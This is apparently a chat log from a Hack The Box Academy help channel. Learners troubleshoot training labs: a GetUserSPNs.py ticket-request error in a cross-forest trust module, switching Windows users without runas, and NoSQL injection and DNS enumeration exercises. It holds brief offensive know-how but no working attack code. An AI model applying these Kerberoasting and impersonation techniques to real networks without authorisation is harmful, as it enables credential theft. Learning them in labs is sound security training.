I'm working through Active Directory Enumeration & Attacks "Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux", and every time I run GetUserSPNs.py with the -request flag I get the error [-] [Errno Connection error (INLANEFREIGHT:88)] [Errno -3] Temporary failure in name resolution . GetUserSPNs.py works in terms of enumerating users, but it fails whenever I use the flags -request or -request-user to attempt to get the TGS. I've tried editing /etc/resolv.conf as well with the nameservers, but I keep getting the same error. Anyone know why this is happening or can offer any help? Thanks in advance.

[gilded heath]

Is there any way to switch to another user in windows without using runas cmdlet !

[fathom pendant]

Unless the switch user option is available on the start menu if you're RDP in

Google helps a lot with these broad questions

[autumn pilot]

depending on the scenario yes, runas or switch user

additionally you can create a sacrificial process for the imperosnated user that you can further use

[fathom pendant]

Unless you only have cmd/powershell access (metasploit usually)

[gilded heath]

I dont have an interactive shell and the runas does not support password option one line

[pliant sage]

are hack the box forums down?

[silent sable]

Hello there!
I am stuck in module "Introduction to Bash scripting", in exercise "Flow Controls-Loops". Could anyone please help me? Thank you in advance!

[graceful rampart]

iirc you can pass a PSCredential object to runas

[vague kraken]

Hello everyone!
Can anyone can help me with this:
Introduction to NoSQL injection
Skill Assessment II?
I have found password reset page, but don't know what to do next

[modest isle]

Hey hackers

Anyone On?

[autumn pilot]

depends

[dim wolf]

are you looking for #general ?

[modest isle]

Not really

Just having some issues with the HTB server

It seems to be checking my answers wrong

[dim wolf]

why did academy uncomplete the introduction to networking module...

i went back and checked and for all of the sections i had already marked them as completed

[autumn pilot]

a new question?

[dim wolf]

there isn't a new question

[urban anvil]

"Interact with the target DNS using its IP address and enumerate the FQDN of it for the "inlanefreight.htb" domain." I am stuck in this question. can someone help me with this?

[rustic sage]

This happens bc they added a new section look carefully to the right of the screen where they list the sections for the module. Look for a new one that doesn’t have the green check mark thing and complete it

[dim wolf]

all of them were already completed when i looked, and the progress bar was complrtely full. when i went to the last section and clicked finish, academy said i completed the module and appended it to my completed modules list

[rustic sage]

Ya this has happened to me multiple times double check the module for a new section otherwise it’s just a fluke and u can ignore it and or reach out to support

For me it’s always bc it’s a new section added

[brave sinew]

Did you ever solve this issue? I keep getting it and have exhausted my options trying to fix it.

[urban anvil]

Anyone doing DNS in Footprinting module?

I am not able to find the FQDN for the name server inlanefreight.htb